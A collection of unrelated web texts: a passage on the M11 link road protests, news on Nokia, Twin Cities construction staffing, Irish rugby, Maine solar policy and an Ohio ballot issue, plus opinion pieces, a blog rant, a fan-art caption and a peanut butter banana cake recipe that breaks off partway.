total cost of compensation for the project was estimated to be around £15 million. Proposals for the M12 motorway were cancelled in 1994 during the first review of the trunk road programme. The most significant response from the government occurred when Labour came into office following the 1997 general election, with the announcement of the New Deal for Trunk Roads in England. This proposal cancelled many previous road schemes, including the construction of the M65 over the Pennines, increased fuel prices, and ensured that road projects would only be undertaken when genuinely necessary, stating "there will be no presumption in favour of new road building as an answer." Some protesters went on to join the direct action campaign Reclaim the Streets. A protester arrested and detained on the grounds of breach of the peace unsuccessfully challenged the UK Government's legislation at the European Court of Justice. In 2002, in response to a major new road building programme and expansion of aviation, a delegation of road protest veterans visited the Department for Transport to warn of renewed direct action in response, delivering a D-lock as a symbol of the past protests. One such protestor, Rebecca Lush went on to found Road Block to support road protesters and challenge the government. In 2007, Road Block became a project within the Campaign for Better Transport. The M11 Link road protests inspired the launch of the video activism organisation Undercurrents. Training activists to film the protests, they released You've got to be choking in 1994, a 40-minute documentary about the M11 link road campaign. In 2007, the BBC reported that the cost of the M11 link road had doubled due to the intervention of protesters. Residents in Leytonstone have complained that, following the completion of the road, their streets became rat runs for commuters trying to get ahead of queues. See also [ edit ] Notes [ edit ] ^ The BBC give the figure as two hundred; Wall gives the figure as four hundred. ^ According to the BBC; Wall gives a figure of nine hours. ^ The BBC quotes then-Chief Superintendent Stuart Giblin as saying "My officers acted professionally despite some of the comments and behaviour of the protesters." References [ edit ] Citations [ edit ] Books News articles Websites Hansard Further reading [ edit ] Coordinates: -FRANKFURT, Nov 28 (Reuters) - Nokia NOK1V.HE needs to speedily boost its offering of mobile internet solutions, marketing head Anssi Vanjoki told a German magazine. Nokia, the No. 1 global cellphone maker, needs to catch up with the rivals Apple (AAPL.O), Google (GOOG.O) and Blackberry-maker RIM RIM.TO in offering online solutions, Vanjoki was quoted as saying by weekly Wirtschaftswoche in an excerpt of an interview to be published on Monday. Vanjoki did not rule out a sale of its core handset manufacturing business in the long term. Nokia’s mobile-device factories offered an important competitive advantage but one should “never say never” should a sale at some point be warranted as part of Nokia’s transformation, he was quoted as saying. (Reporting by Ludwig Burger, editing by Mike Peacock) ((ludwig.burger@thomsonreuters.com; +49 69 7565 1311; Reuters Messaging: ludwig.burger.reuters.com@reuters.net)) -Kevin Yakes spends so much time trying to keep his Golden Valley construction firm staffed, he sometimes feels like a full-time recruiter. During a recent family getaway in Florida, Yakes hopped in the car and drove more than an hour to have beers with a refrigeration technician he wanted to attract to Minnesota. “It’s like dating,” Yakes said. “I’ve never, ever, had such a hard time trying to find people.” Nearly a decade after the U.S. economy collapsed and construction workers fled the industry, Twin Cities builders and contractors are in the midst of one of their busiest years. But a shortage of skilled workers means that new projects — from modest office renovations to soaring new apartment towers — are costing more and taking longer to complete. The situation has contributed to a housing shortage in the region. Even last year’s completion of U.S. Bank Stadium, a project that kept thousands of workers busy for nearly three years, hasn’t fully replenished the pool of construction help. “We have more work than we know what to do with,” said Robert Heise, president of the Minnesota-North Dakota chapter of Associated Builders and Contractors. As of May, there were more than 125,000 construction workers in Minnesota, the most for that month since 2006. And the latest tally of construction job openings was the highest in at least a decade. Electricians, carpenters and plumbers are among the most scarce. Labor leaders say the industry has struggled to attract young people to replenish the pool of workers drained by the 2008-2009 recession, even though construction jobs pay above-average wages and most require just a high school diploma. One reason for that, says Tim Worke, chief executive of the Associated General Contractors of Minnesota, is that vocational training has been devalued. “Everyone has been told that you have to have a four-year degree to be prosperous at life,” Worke said. But it’s a fine line, he added, because the old notion that construction is a field only for those with a “strong back and a strong body” isn’t the case anymore. The work is more technical and workers need advanced training, Worke said. James Mahler, a 35-year-old project manager for River City Tile & Underlayment in Chanhassen, joined the trades at age 19. “College was never something that appealed to me,” he said. “I was eager to begin working and making my own career path.” In the recession, as others fled the industry, he stayed the course and is glad he did. He has never been without work and has been able to pick and choose jobs. “We make extremely good money, work reasonable hours, get to be active and build actual communities within the Twin Cities,” he said. “I want young people to realize that it is not a step down to go into construction.” With costs and job openings on the rise, the industry is getting more creative. This summer a consortium of industry groups will launch one of its most comprehensive efforts yet to help fill jobs: Project Build Minnesota, a marketing campaign aimed at “making construction sexy again,” said David Siegel, executive director of the Builders Association of the Twin Cities. The goal is to sweep as many trainees into both union and nonunion jobs. The consortium plans to raise $800,000. Earlier this year, a collective of labor unions launched its own PR campaign dubbed Elevate Minnesota to promote union construction jobs. A third group called the Twin Cities Construction Sector Initiative, which includes the Associated General Contractors, the Minnesota Building Trades Council, educational institutions and other stakeholders, is taking a higher-level look at workforce needs. That group hopes to roll out a multiyear plan by end of the summer. Until those efforts gel, the effects of the tight labor market are rippling through Twin Cities property markets. Commercial construction costs are increasing two to five times the rate of inflation, local analysts say. Jim Durda, executive vice president of the local office of Zeller Realty Group, which manages the Fifth Street Towers and LaSalle Plaza in Minneapolis, said that 10 years ago it might have cost $25 per square foot to build out or remodel a commercial space. Today, it’s $35 to $50 per square foot, partly because of labor costs. Such increases can be even more detrimental for new buildings, which employ hundreds of workers from many trades. Last month, plans to build a Hy-Vee store in White Bear Lake were scuttled. High labor costs contributed to the decision not to build, according to both John Johannson, a manager in the local development company on the project, and Tara Deering-Hansen, a spokeswoman at Hy-Vee’s Des Moines headquarters. Homebuilders are facing similar issues. Some builders have painted “help wanted” and phone referral numbers on their trucks. Two weeks before the start of a luxury house tour in the Twin Cities, Scott Busyn and several other custom homebuilders were scrambling to finish in time for it. Busyn paid overtime and offered other perks to discourage subcontractors from jumping ship to work with other companies. At CPM Cos., one of the biggest apartment developers in the Twin Cities, the situation is making it difficult to finish buildings on time. Construction manager Troy Wenck of Reuter Walton Commercial said that he’s spending valuable time trying to recruit employees, and the company has had to turn away projects. Mark Scherer, an owner of the one of the largest lumberyards and truss-building plants in the region, has managed to keep his staffing levels steady by regularly raising wages. At a plant in Albertville, he gave workers a nearly $1 an hour raise last fall. “That seemed to take care of the problem,” he said. He hasn’t, however, been able to solve a more serious problem: Timing. He said it normally takes 90 days to build a house, but it’s now taking 120 to 180 days in some cases. Houses are also more expensive. Scherer said an upscale house used to cost $175 per square foot, but increases in labor and other inputs means the price is now $250 to north of $300 per square foot. For Yakes, the chief executive of Summit Commercial Facilities Group, a fix couldn’t come soon enough. He has a handful of openings to add to his current staff of 30 — and he wasn’t able to persuade the Florida technician he met for drinks to join his company. “It is a whole lot of work,” Yakes said. “You just always have to be ready to hire that next top talent.” Nicole Norfleet • 612-673-4495 Twitter: @nicolenorfleet Jim Buchta • 612-673-7376 Twitter: @JustListedBlog -The advantage of a hazelnut rod ... is the possibility to attach test-nodes (Testnosoden) at the tip. This allows to search more aimed at different oscillation patterns. … on my left pinky finger, there is a polarization ring made from ferrite material; this serves the determination of polarization, which means, whether the water vein spins right or left handed. This is from a diploma dissertation presented to the faculty for landscaping architecture at the University Weihenstephan-Triesdorf in Bavaria. The German diploma is equivalent to the Master level. It was not forwarded to the campus health center’s mental health division to ensure that the student receives help. Professor Doctor F. Luz evaluated with the highest possible grade! The student now uses his 'dowsing expertise' to earn a living. No, not relieving cat-ladies of their money, but with urban planning, paid for by tax payers. This was two years ago. Everything sorted out now? You bet. The university has officially opened the course “Landscape aesthetics&geomancy and Feng-Shui in Landscape Architecture”. Diploma certified Engineer S. Broennle teaches whenever Luz is out in the field dowsing. According to all we know, grades are established with pendulum and Ouija board. This updates Germany ranks first in Internationalism, the one where I told you the secret about that studying in Germany is still free. Now you don’t even need to care about the science that traditionally was in the way of academic degrees. Pack your stuff, lazy students of the world. Germany Abolishes Itself. -------------------------------------------- More from Vongehr Topic for Topic -JOE SCHMIDT HAS rejected the notion that the inclusion of Tommy Bowe in Ireland’s matchday squad is a ‘nostalgia’ call. The 33-year-old wing was used off the bench in Ireland’s defeat to Scotland on the opening weekend of the Six Nations, after which Schmidt’s selection was criticised. Bowe is now back on Ireland’s bench for tomorrow’s clash with Wales, with more eyebrows being raised by the decision. Bowe is back on the Ireland bench for tomorrow. Source: Inpho/Billy Stickland Former Ireland wing Shane Horgan, who played under Schmidt with Leinster, told the Second Captains podcast that Schmidt’s decision to include Bowe against Scotland had been an error. “That looked like a nostalgia call, having him in the team,” Horgan said. “He hasn’t been playing well. I was very surprised that he was in the 23.” Bowe was subsequently left out of Ireland’s matchday squad for the trip to Italy and missed out on the home win over France. The Ulster wing was then ommitted from Schmidt’s extended 36-man squad for the closing two rounds of the championship. However, a hand injury for Andrew Trimble saw Bowe called in as an injury replacement last weekend and he has jumped ahead of Tiernan O’Halloran, Andrew Conway, Craig Gilroy and Jared Payne for the 23 shirt ahead of tomorrow’s clash with Wales in Cardiff. When Horgan’s suggestion that Bowe’s inclusion during this Six Nations was a nostalgic decision was put to the Ireland head coach, Schmidt rejected it outright. “Look, I think Shane hasn’t spent any time in our environment, so he’s never seen Tommy train, so I think it’s a typically external opinion that is purely opinion based,” said Schmidt. “We try to base our decision on how a player is performing. I’ve coached Shane and there’s probably been times when people have questioned my selecting him in the past. There’s always going to be people questioning selection. 33-year-old Bowe will win his 69th cap if used off the bench. Source: Ryan Byrne/INPHO “I feel that we’re best placed. There’s no way I’d say we get it right every time, because again, there’s a human factor in coaching, just as there is in playing, as I referred to with George North. “I think he’s a super player, and if somebody has a slightly off day, there’s no guarantee that off days continue, in fact it’s potentially going to be the reverse, they’re going to revert to type and be outstanding in their next performance. “I’m not sure whether, over the last three and a half, four years, how many nostalgic decisions I’ve made. But I can’t really remember many.” Having included Bowe as the 23rd man for a second time in this championship, Schmidt backed the 68-times capped Ulsterman to deliver for Ireland tomorrow night at the Principality Stadium. The Ireland head coach also indicated that Bowe’s aerial strength was one of the key reasons for picking him. “I think if you look at his last two Ulster performances, you can see his ability to read the game, to run a good line, to be in the right place at the right time,” said Schmidt. “His aerial game is a real strength for him, and for us. That’s where they came after us last time with Dan Biggar and Liam Williams, George North is such a big man, Leigh Halfpenny got a couple of good aerial takes early in the game. “Therefore, you cut your cloth, you account for how somebody’s training, you calculate what they bring to the game, and then you make decisions. “That’s where I’d challenge anyone to do as much work looking at how people are preparing themselves, and then make decisions. The caveat of all that is – I’m not claiming that we’ve got it right, we’ve just worked hard to try to make the best decisions.” Subscribe to The42 Rugby Show podcast here: -Thoughts I’ve made some pretty bad mistakes in my past, and I’ll “fess up” to them at any point.. not because I’m proud that I messed up at something but because acknowledging your faults, weaknesses and most importantly stupidity in the past has taught me to be a better human being. And you see, being a better human being, by bettering yourself from your own mistakes is a concept that most can’t even dream of. So, by doing this, as my “new year’s resolution” – Whatever kind of meaningless dribble people throw up on their facebook walls, as if to tell the world that this year they’ll be different, this very year they’ll increase their own self esteem by sorting after other peers appreciation of their own divisiveness to change. When in the very, very sad reality people don’t change – You never really change, you can regret a decision and improve on that decision but your mistakes WILL “haunt” (as if to say your past and your previous decisions were a different beings choices, and not your own which you didn’t, for even a slight second think of the repercussions) you for the rest of your life. As a person, if you kill or hurt another person – You may face the repercussions and realize you can’t do it again or you’ll face the same music, but your head is still not screwed on right, and you know deep down in your head that every second of your life is a methodical plan to commit another… of whatever it is you’re ashamed (or maybe just scared of showing society, or a loved one, or any number of people or entities) of. I used to be a “hacker” but it was more than that, and it was because of a few stupid mistakes I made that I got caught and won’t ever be doing anything stupid, like that again. That’s not because I don’t still think in my head (which is currently the only place of privacy we have) of what I could be doing, or that the women in front of me at the line of the grocery store just entered her pincode as 3782 or that my friend who works for the government just left her emails logged on in her computer. It’s because of the fear that I don’t want to “face the music” as some may say, and anyone who isn’t scared of that then I’ll look up to as a hero, hence my reference to Edward Snowden earlier. “People aren’t as evil as you may think, but temptation pushes most to the brink.” You might be asking yourself (or perhaps in your head, you’re asking me) wtf the point of this article even is, and why I’ve so far, refused to even give you a title (Not referring to the meta title here) well it’s to do with the subtitle of my blog “politically pissed off” and it has even more to do with a YouTube video I found on the front page of Reddit today – This clip, and my entire rant here is about one specific thing and it’s a phrase that I’m sure has been used millions of times. The World doesn’t owe you anything, but you owe it the world – It’s a slight alteration to “the world doesn’t owe you anything” which according to Google has been brought up over 55,000,000 times across the indexed web. Mr Feenie proves this point even more. When most of you have a device in your pocket that could break most security precautions on the internet in minutes (with the right “push” of course) yet you decide to use it to take photos of yourself to create a falsified image of yourself on some random social networking site. That shows how pathetic of a life you’ve gotten yourself ravelled up in. This extends to more than just the average joe as well. Justin Bieber has over 48,000,000 twitter followers (granted a lot will be fake/bots) as of writing this. If he were to, for example: tweet a small pizza restaurants website… Within minutes it’d more than likely crash. For a kid who put a song on YouTube this one time, he holds an unbelievably large amount of power – With the help of the internet of course. Yet he decides to tweet selfies and him downloading his own tracks of iTunes. Then again, I’m a paradox of my own stance on hypocrisy – I’m sitting on a i7 3.4 ghz CPU, 16gb ddr3 ram and a 4gb DDR5 Graphics card… Whilst using about a percent of the CPU’s power and typing into an open source CMS, on a site that pretty much no one reads. My moral of this story, and the question I bet you were asking yourself earlier is then? Spend your time wisely, and spend your time learning – Because for though it may seem like an eternity in hell, your life is almost irrelevant in the grand scheme of things. -Hillary Rodham Clinton’s determination to reconnect with voters in localized, informative settings is commendable, but is in danger of being overshadowed by questions about the interplay of politics and wealthy foreign donors who support the Clinton Foundation. Nothing illegal has been alleged about the foundation, the global philanthropic initiative founded by former President Bill Clinton. But no one knows better than Mrs. Clinton that this is the tooth-and-claw political season where accusations are going to fly for the next 19 months. And no one should know better than the former senator and first lady that they will fester if straightforward answers are not offered to the public. The increasing scrutiny of the foundation has raised several points that need to be addressed by Mrs. Clinton and the former president. These relate most importantly to the flow of multimillions in donations from foreigners and others to the foundation, how Mrs. Clinton dealt with potential conflicts as secretary of state and how she intends to guard against such conflicts should she win the White House. The only plausible answer is full and complete disclosure of all sources of money going to the foundation. And the foundation needs to reinstate the ban on donations from foreign governments for the rest of her campaign — the same prohibition that was in place when she was in the Obama administration. -Battle lines are being drawn for a fight over the future of rooftop solar energy in Maine, as the Public Utilities Commission prepares to hold a hearing Monday in Hallowell on proposed rules that would cut financial incentives for homeowners with solar panels. Similar fights are taking place across the country, as utility regulators and politicians try to define the value and benefits of small solar-electric installations, as well as who should pay, and how much, to help expand their use. Zach Good of ReVision Energy prepares a roof for solar panels at a home in Cape Elizabeth last year. The cost of solar technology has fallen dramatically. Shawn Patrick Ouellette/Press Herald file SOLAR PANEL HEARING WHEN: Monday, 1 p.m. WHERE: Worster Room of Maine Public Utilities Commission building, 101 Second St., Hallowell The outcome of these skirmishes matters because thousands of jobs are tied to these home-scale installations, and shifting policies about compensation have led many residents to put off investing in solar. Maine installers say that began happening last spring, after the Legislature failed by two votes to override Gov. Paul LePage’s veto of a bill that would have restructured the financial incentives. What’s happening this fall at the PUC is likely to be only a prelude to a rematch next year in the Legislature. Clean-energy advocates are talking about drafting another bill, all but assuring that the matter won’t be settled in the near future. At issue is a decades-old rule that requires utilities to credit the bills of small energy generators for the full retail price of all the electricity they send into the grid. Those credits chiefly help homeowners recover the investment in solar-electric panels, which can average $10,000 or so. They continued to be paid as long as the power’s being generated. This arrangement, called net-energy billing or net metering, was set up in the 1980s to help jump-start solar when the technology was new. But panel costs have fallen sharply in recent years, and utilities and some policymakers say it’s time to trim the incentive. As solar’s popularity grows, they say, the payments are shifting the cost of serving homes with solar panels onto other customers. Last month, the three PUC commissioners – all appointed by LePage – proposed a change that would grandfather net-metering credits for 15 years for residents who already have solar panels installed at their homes, and limit benefits for new solar owners to 10 years. DISPUTING VALUE OF HOME SOLAR The PUC review was triggered by a requirement that net metering be revisited once peak solar power production hit 1 percent of Central Maine Power Co.’s installed capacity. But reducing the net-metering incentives drew immediate fire from solar installers and clean-energy supporters. They countered that the value of this energy actually is greater than the cost of service. And they pointed to a study done for the PUC in 2015, and updated last summer, to prove it. The updated study concluded that the value of distributed solar – power produced near its point of use – is worth roughly 27 cents per kilowatt hour over 25 years. In Maine, the average home electric rate today is less than 16 cents per kilowatt hour, so solar advocates see a clear benefit. But teasing out the components that contribute to that 27-cents figure paints a more-complicated picture. The PUC’s consultant found that just over 17 cents of the total value was from avoiding “market costs,” largely by not needing power from large generators. The other 9 cents or so were “societal benefits,” linked to emitting less climate-changing carbon dioxide and pollutants into the air. In testimony filed Wednesday, Portland-based ReVision Energy, the state’s largest solar installer, reiterated its view that the cost-shifting claim isn’t supported by the study. It also criticized the PUC for proposing changes to net metering before any investigation of the facts. “The failure to fairly, fully and rigorously evaluate the overall impact of net metering delegitimizes the proposed rule and this proceeding,” ReVision said. “The commission has made critical findings of fact and proposes to fundamentally change the existing, legislatively approved rule based on these findings – yet there is no sworn testimony in the record.” Responding to this criticism, PUC spokesman Harry Lanphear said the commission laid out its reasoning in a notice of rulemaking last month. In it, the commissioners acknowledged that net metering supports state energy policies to promote renewable, clean electricity supplies, and that there may be environmental values to ratepayers. But they added that “programs that involve the cross-subsidization of ratepayer funds among customer groups should be reviewed periodically,” especially when the cost of the technology is falling sharply. CMP is expected to amplify that point Monday. John Carroll, a spokesman, said the cost of rooftop solar has fallen by roughly half over the past decade, yet it’s still being subsidized at the same level as it was in the 1980s. He said CMP gets little benefit from rooftop solar because the values cited in the PUC study are largely tied to generation and energy supply, not to the cost of delivering power to homes. CMP contends that the cost of crediting solar homeowners shifted $1.3 million in expenses to other ratepayers in 2015, although solar advocates say CMP hasn’t substantiated those figures. CMP has hired an expert witness to testify about the value of solar. Ashley Brown is a former Ohio PUC commissioner and executive director of the Harvard Electricity Policy Group, which studies power issues. He is expected to make a case for why net metering should be discarded and replaced with market-based pricing. LePage, through his Governor’s Energy Office, will make a similar plea. The office has filed comments that say the PUC’s proposed rule should be scrapped. A system should instead be adopted that uses CMP’s smart meters to compensate small generators for the value of their power in real time, because costs vary hour by hour. The office wrote: “During the duration of the proposed rule that extends through 2040, there are companies proposing the colonization of another planet – yet the proposal is stuck in 20th-century thinking and fails to utilize modern metering technology that has already been deployed across the state.” SOLAR DEBATE IN OTHER STATES These opposing views, in various forms, underpin the debate nationwide. The Solar Energy Industries Association website has posted links to cost-benefit studies from 17 states that are studying or have examined the value of solar. They include California, Arizona, Nevada and Hawaii. Various interest groups and think tanks also have weighed in with national studies. But in Maine, as elsewhere, value studies are ammunition for larger political battles. In their filed testimonies, clean-energy advocates such as ReVision, the Natural Resources Council of Maine and SunRun, a national solar installer, urge the commission to hold off on any rule change and let the next Legislature set solar policy. In a recent email message, ReVision also encourages its supporters to vote for candidates who will advance solar. “We are confident that Maine’s Legislature can do the right thing for solar,” ReVision says, “and we will work to make the facts clear despite ongoing campaigns of misinformation and bullying on the side of anti-solar advocates.” Tux Turkel can be contacted at 791-6462 or [email protected] [email protected] Share filed under: -Secretary of State Jon Husted today defended use of the word "monopoly" in ballot language describing state Issue 3, which seeks to legalize marijuana in Ohio. "We are trying to use simple, plain language that accurately describes the issue," Husted said during a Columbus Metropolitan Club luncheon, where, when asked, he also said he is interested in being governor someday. Secretary of State Jon Husted today defended use of the word monopoly in ballot language describing state Issue 3, which seeks to legalize marijuana in Ohio. �What we tried to use is simple, plain language that we believe the average voter will understand and that accurately describes the issues,� Husted said during a Columbus Metropolitan Club luncheon, where, when asked, he also said he is interested in being governor someday. >>Like Dispatch Politics on Facebook Supporters of Issue 3 strongly disagree with ballot summary and title that uses the word monopoly and seems to stress that aspect of the issue over the marijuana legalization. �The ballot title and language Jon Husted has assigned to Issue 3 is deceptive and misleading,� said Ian James, executive director of ResponsibleOhio, the group of investors pushing to legalize marijuana in Ohio and set up 10 exclusive commercial growing sites. �It's unthinkable that Ohio's chief elections officer is waging a campaign against Issue 3 from his elected office and using taxpayer dollars to confuse voters and rig the system.� ResponsibleOhio wants the Ohio Supreme Court to overturn ballot language approved by Husted and the state Ballot Board. Husted said ResponsibleOhio wants to use poll-tested language to describe the issue in a way voters will support, but he doesn�t want to use �weasel words� that mask what the issue really does. �The folks who wrote this, if they didn�t want it called a monopoly, then they shouldn�t have created a monopoly,� Husted said, as both he and moderator Mike Thompson broke out the dictionary. Husted also reiterated his position that if both Issue 3 and Issue 2, a legislative anti-monopoly proposal, pass in November, the marijuana issue would be invalidated, regardless of which issue gets more votes. The language of Issue 2, plus the fact that it would take effect immediately, makes it the dominant issue. However, if both issues pass, that interpretation is likely to be challenged in court. Husted also indicated his support for state Issue 1, altering the legislative redistricting process, which currently allows the majority party to gerrymander districts to its benefit. The new process would require minority-party votes in order to pass a 10-year map. Outside the Athletic Club, more than a dozen protesters held signs and chanted largely in opposition to Husted�s decision in August to deny an effort to place fracking ban charter proposals on the ballot in Athens, Fulton and Medina counties. Three protesters later came into the luncheon, holding signs and chanting �let the people vote� after the program concluded. Tish O�Dell, a community organizer with the Community Legal Defense Fund and a leader in organizing the protest, said the courts should be allowed to weigh in on the charter proposals, rather than Husted deciding they should be banned from the ballot. �Residents are upset that they do not have a vote,� O�Dell said. Husted argued that the Supreme Court has already ruled that the state, not local communities, have the authority to regulate fracking, and the proposals violated that law. �That doesn�t mean we took the democratic process away from them,� he said. �They just need to use it in the proper venue.� He suggested that supporters could go to the legislature, or use the initiated statute ballot process, to get the law changed. Husted also discussed his continuing push to get online voter registration enacted in Ohio. �I spoke to the speaker of the House (Cliff Rosenberger, R-Clarksville) the other day, and he indicated he thought it was something they�d be able to do this year,� Husted said. jsiegel@dispatch.com @phrontpage -Why would Sinn Féin go into an executive in which the DUP has a disproportionate degree of influence over the British government – an alleged, joint-guarantor with the Irish government of the Belfast Agreement Sinn Féin won seven seats in the Westminster general election, running on an abstentionist ticket, which has been the party’s policy for at least one hundred years. The SDLP, which boasted about sitting in Westminster but had nothing to show for it, lost its three seats – seat held by three former party leaders and two of which have now been taken by Sinn Féin. And yet despite the wishes of the electorate which had been heavily exposed to all the arguments, Sinn Féin’s critics, including the SDLP and southern political parties, and many in the media, few of whom wish Sinn Féin well, continued to criticise the party for keeping to its manifesto commitment. I was at the Belfast count on Thursday night/Friday morning and was asked by a succession of journalists about whether in the circumstances of a hung parliament Sinn Féin would not drop its policy and help Jeremy Corbyn’s Labour Party or, at least, make it more difficult for Theresa May to form a government with the help of the DUP. I said, No, it was not going to happen. Many arguments have been advanced in defence of abstentionism including that the oath or affirmation of allegiance to a foreign monarch and her heirs presents a difficulty and is inimical to one’s republicanism; or that one’s influence is miniscule and dwarfed by the major parties with few from the North able to demonstrate worthwhile achievements commensurate with their attendance. These arguments, whilst valid, are not at the core of abstentionism. For example, the oath could be completely removed. Or, imagine Britain a republic. It might well be possible for some of the parties which take their seats to point to pieces of legislation that they have influenced or initiated. In the circumstances of a hung parliament it is undeniable that a tail might be able to wag the much bigger dog for a time. Even if the oath was removed and I was an MP I would still not take my seat. Even if Britain was a republic I would still not take my seat. Even if I held the balance of power and could get through bits and pieces of legislation (while flattering myself as to the magnitude of my importance) I would still not take my seat. For me, it is quite simple. How can I object to Britain interfering in Irish affairs if I go over and interfere in theirs? Once I took my seat, with or without an oath, I have lost the moral high ground on that question of Irish sovereignty. I have already conceded Britain’s right to govern on this shore – a claim that was demonstrably rejected in December 1918 by the majority of people in Ireland in a democratic election. Even though for reasons of pragmatism I support Agreements which were passed into law in the House of Commons, this does not mean that I recognise Britain’s claim to rule over me as being legitimate. Leinster House and Stormont, for all their many flaws, are assemblies of the people of this island. Furthermore, the state in which I live is not the state in which I grew up. Much has changed; often beyond recognition. Much has clearly still to be changed. I am in the business of building a new society in Ireland out of the two states which currently exist. To do that I need to win over a significant body of support from the unionist community, as well as winning over people in the South who have lived for a century under successive partitionist governments which have never acted in truly national terms. The establishment in the South distances itself from us by increasingly in its discourse conflating the Twenty-Six Counties with ‘Ireland’; although the threat of Brexit to the southern economy, and to the security of the peace process, has suddenly produced fresh – some might say, opportunistic – interest in reunification. On Friday, the day after the general election, I tweeted: “In interfering in British affairs the DUP will gather many enemies.” I hadn’t appreciated how quickly that would happen nor the scale of the revulsion. The British, especially the English, deeply resent anyone else telling them what to do. In simplistic terms it explains their dislike of Europe and the way they voted on Brexit. As an exercise, imagine that the Labour and Tory wins were reversed and that Sinn Féin’s seven seats would be enough to support a Labour minority government, and that the party, out of the blue, took its Westminster seats. Make no mistake about it: the British public and the British media would be just as scathing of republicans as they are now of the DUP; although the DUP because of its homophobic, racist and sectarian proclivities present much more fertile ground for ridicule and attack. And that is because the British, especially the English, do not like outsiders interfering in their affairs. Although the SNP would also have faced criticism were it to prop up, say, a Corbyn minority government, the criticism and the type of condemnation would not be as visceral as the attacks on the Irish unionists because Scotland and Wales are unquestionably viewed differently from the Six Counties. Incidentally, those famous Irish politicians who did take their oath and seats in Westminster failed abysmally in their objectives. Daniel O’Connell failed to achieve the Repeal of the Union. Charles Stewart Parnell and his Irish Parliamentary Party after decades in Westminster, and his successor, John Redmond, failed to achieve Home Rule, but did manage to sacrifice the lives of 50,000 Irish Volunteers in WWI who were fooled into believing they were fighting for the freedom of a small nation, Ireland. I’m not including one major success at Westminster by the original Ulster Unionist Party because their exclusion of the Six Counties and the abandonment of the Home Rule Act has proved to be one unmitigated disaster for everyone. By abstaining from Westminster Sinn Féin is making a powerful statement – that the people who vote for it reject British rule and British interference. And that is something that should give British people pause for thought: if you are livid at the prospects of a party from here, going over there to interfere and make your laws, how do you think we feel after all these centuries? This sordid Tory/DUP arrangement, if it comes off, may not last long, will ultimately damage both parties, but more immediately will jeopardise the prospects of a return to devolution. Why would Sinn Féin go into an executive in which the DUP has a disproportionate degree of influence over the British government – an alleged, joint-guarantor with the Irish government of the Belfast Agreement? One, perhaps unforeseen consequence of the DUP’s willingness to go into coalition with a British government is that the DUP is effectively relinquishing any objection it might make in the future to Sinn Féin doing exactly the same in Dublin. For the DUP I hope that the demonization they are facing (and which must appear as unjust and unfair to them) is a chastening experience and one which will make them or their supporters reflect on the antediluvian nature of their policies which encroach on the freedom of others. I also hope it makes them realise that in actual fact they belong here more than over there. It is here, not over there, they should be entering into a true pact with their fellow Irish people. -Decided to wait until I had the other three done before uploading them all. Here we have Pinkie Pie as Hawkeye. Again, a difficult choice for me to make with who would fit with Pinkie Pie (considering Deadpool is not an Avengers). Still, I kind of consider Hawkeye sort of the comic relief of the group (though he wasn't much of a joker in the movie). Plus, I like the wordplay, Pinkeye. - Ew. Nothing really funny about Pink Eye. Heard that a nurse was using pinkie crust to make....Okay! Pinkie! No need for the details!Pinkie Pie own and (c) by HasbroHawkeye own and (c) by MarvelArtwork (c) Kenichi-ShinigamiMy Little Avengers -Shining Fury- [link] Captain Equestria- [link] Twilight Widow - [link] Ironmare - [link] Pinkeye - HereRainbow Thor - [link] Flutterhulk - [link] -It’s been a while since I last took part in the Peanut Butter Bash Group but its time to join in again! Because of my job I have had to sit the last few months out but this is fate because the month I could join in again was banana month……. seriously anyone who has read this blog for a while will know just how obsessed with all things banana I am, so I could’t wait to try these two together. And I came up with this Light and Fluffy Peanut Butter Banana Layer Cake. This is everything a cake should be and oh so much more, let me explain 😀 Layer Cake’s & Banana I don’t often make layer cakes, I find them too much to eat and can occasionally be just a little bit too dry for my liking. Hence why I tend to make traybake’s, snack cakes and cupcakes. It’s just a personal preference of mine. But I got it into my head that I wanted a layer cake. Banana cake is almost always a moist cake but it can make a sponge dense and heavy. To make sure there were no dense heavy sponge issues with this cake I added buttermilk to the batter. Buttermilk is almost a wonder ingredient in cakes. It ensures a light and fluffy tender crumb. Ensuring the banana did not weigh the sponge down. Peanut Butter Overload Because banana can be a strong flavour I wanted to make sure the peanut butter was an equal partner and not a side show. To do this I included a healthy amount into the cake batter, I also smothered the cake in a light and creamy peanut butter cream cheese frosting and to finish if off I added a handful of peanut butter chips. Making sure that each bite had that peanut butter goodness in it 😀 The peanut butter chips are completely optional as I know they are not the easiest thing to come by, especially in the UK. I have to order mine online, so chocolate chips will work fine instead. Or leave them off all together. All in all this a light and fluffy cake that is equally flavoured with banana and peanut butter. It’s simple to make and comes together in one bowl so there aren’t too many dishes to wash up afterwards 😀 Honestly you will love this Light and Fluffy Peanut Butter Banana Layer Cake as much as me. It really is a tea time treat for the whole family! Light and Fluffy Peanut Butter Banana Layer Cake A light and fluffy peanut butter and banana layer cake. Peanut butter and banana sponge filled and covered with a light and creamy peanut butter cream cheese frosting. 0 from 0 votes Print Pin Prep Time: 20 minutes Cook Time: 35 minutes Total Time: 55 minutes Servings: 8 -10 slices Author: Emma Ingredients For the cake 125 grams unsalted butter (1 stick & 1 tablespoon) 250 grams light brown sugar (1 & 1/8 cup) 125 grams smooth peanut butter (1/2 cup) 2 large eggs 1 teaspoon vanilla extract 2 medium sized ripe bananas - mashed 120 millilitres buttermilk (1/2 cup) 1 teaspoon baking soda 1 teaspoon baking powder 1/2 teaspoon salt 290 grams plain / all purpose flour (2 & 1/4 cups) For the frosting 212 grams unsalted butter (1 cup) 65 grams smooth peanut butter (1/4 cup) 400 grams icing sugar (3 cups) 155 grams full fat cream cheese (3/4 cup) 50 grams peanut butter or chocolate chips (1/4 cup) Instructions Preheat your oven to 190C / 375F / Gas mark 5 and either line or lightly grease two 8inch round tins that are at least 2 inches deep and place to one side. Cream the butter, sugar and peanut butter together until they are light and fluffy. About 2-3 minutes if you are using a stand or electric mixer. Then add the eggs one at a time beating in-between each addition then add in the vanilla extract and mashed bananas. Mix until everything is well combined about another minute. Sieve in the baking soda, baking powder, salt and flour. Then gently fold in the dry ingredients into the batter. Divide the batter equally between the two tins and gently spread it out in the tin so it is level. Then pop the tins in the middle of your oven. After 25 minutes you need to reduce the temperature of your oven to 170C / 325F / Gas mark 3 and bake your cake for a further 10 minutes. After this 10 minutes check you cake for doneness, it should just be starting to pull away from the sides of your tins be a light golden colour and be firm to the touch. If you have a pick press it into the middle and it should come out clean. If it doesn't pass these tests give your cake a further few minutes and test again. Take the cakes out of the oven and let them rest in their tins for 5 minutes then transfer them to a wire rack to fully cool down. Once the cakes are fully cooled down its time to make the frosting. Using an electric mixer or stand mixer beat the butter until it is light and fluffy, this will be about 5-7 minutes. Mix in the peanut butter and beat for another 